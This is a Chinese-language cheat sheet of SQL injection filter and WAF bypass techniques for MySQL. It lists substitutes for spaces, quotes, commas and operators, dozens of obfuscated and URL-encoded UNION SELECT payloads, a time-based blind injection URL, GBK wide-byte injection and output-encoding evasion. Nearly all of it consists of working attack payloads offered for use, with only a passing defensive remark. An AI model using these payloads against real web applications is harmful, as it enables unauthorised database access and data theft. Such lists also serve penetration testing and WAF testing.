输入内容的过滤
空格
(1)两个空格代替一个空格,用Tab代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
(2)括号:在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(3)反引号 `` 包住表名
select * from`tb1`;
(4)浮点数:
select * from users where id=8E0union select 1,2,3
引号
十六进制
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
比较符号<>
(1)greatest(n1,n2,n3,...) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
使用greatest()、least():(前者返回最大值,后者返回最小值) 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了
select * from users where id=1 and ascii(substr(database(),0,1))>64
过滤后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
逗号
(1)使用jion绕过
原语句union select 1,2,3
jion语句union select * from (select 1)a join (select 2)b join (select 3)c
(2)对于盲注的那几个函数substr(),mid(),limit substr和mid()可以使用from for的方法解决
substr(str from pos for len) #在str中从第pos位截取len长的字符
mid(str from pos for len) #在str中从第pos位截取len长的字符
mid()使用like
select ascii(mid(user(),1,1))=80 #等价于select user() like 'r%'
limit可以用offset的方法绕过
select * from news limit 1,2
select * from news limit 1 offset 0
or and xor not
and=&& or=|| xor=| not=!
注释符# -- --+
id=1' union select 1,2,3||'1
等号关键词(例如flag)被过滤
使用like 、rlike 、regexp 或者 使用< 或者 >
union select where
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
编码
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
宽字节注入
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
id=-1%df%27union select 1,user(),3--+
(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数: 1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式) 3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ' " \x1a
输出内容的过滤
编码
hex() to_base64()
字符替换
replace(str,from_str,to_str)
编码+字符替换
例如:
replace(to_base64(xxx),from_str,to_str) replace多次套用